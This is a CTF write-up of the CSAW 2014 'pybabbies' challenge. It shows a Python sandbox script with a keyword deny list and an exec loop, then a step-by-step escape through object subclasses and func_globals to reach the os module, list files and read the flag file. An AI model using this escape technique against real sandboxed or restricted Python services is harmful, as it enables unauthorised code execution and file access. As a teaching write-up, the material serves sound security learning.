Fork me on GitHub

CSAW 2014 - pybabbies

pybabbies was an Exploitation 200 challenge during the CTF and I got "voluntold" to work on this one by my team mates since I have a strong Python background. The night was young and I felt pretty good about it, so I took a look.

1

Setting the scene

Connecting to that IP/port with netcat revealed a shell prompt indicating that I had connected to a Python sandbox environment. Python sandboxes are nothing new, and I had actually recently done some reading on a sandbox challenge from an older CTF writeup so I felt pretty good about what I was getting myself in to.

#!/usr/bin/env python 

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

What this sandbox script does is remove all of Python's builtin methods save print() and raw_input() which were required for the sandbox to work. The rest of the code restricts the user from using any of the banned modules/methods in acquiring the key.

Solution

With a little trial and error I managed to figure out a solution. I knew from researching the topic that it's possible to access various modules and methods by inspecting an objects base classes via base and subsequently a method to pull all subclasses. Plugging away at these subclasses, I was able to find a reference to the os python module.

In [8]: ().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]
Out[8]: 'os'

Now that I had found a reference to os, it was just a matter of chaining some strings together. The end result I wanted to achieve was to utilize the os module to open and read a file (key.txt), all without using any of the banned keywords. What follows is the step by step process, concluding with the key!

# The reference to the actual os module
In [9]: ().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__[().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]]
Out[9]: <module 'os' from '/usr/local/Cellar/python/2.7.5/Frameworks/Python.framework/Versions/2.7/lib/python2.7/os.pyc'>
# Lists contents of the current directory
In [11]: print(().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__[().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]].listdir('.'))
['.viminfo', '.profile', 'utils.py', '.bashrc', 'potato', 'narwhals', 'pyshell.py', 'hello', '.bash_history', 'key', '.bash_logout', 'test', '.selected_editor', 'key.txt']
# Returns a file descriptor
().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__[().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]].open('key.txt',0)
# Read key.txt
().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__[().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]].read(().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__[().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__.keys()[-2]].open('key.txt',0),1024)

Key: flag{definitely_not_intro_python}

Thanks for reading!

Comments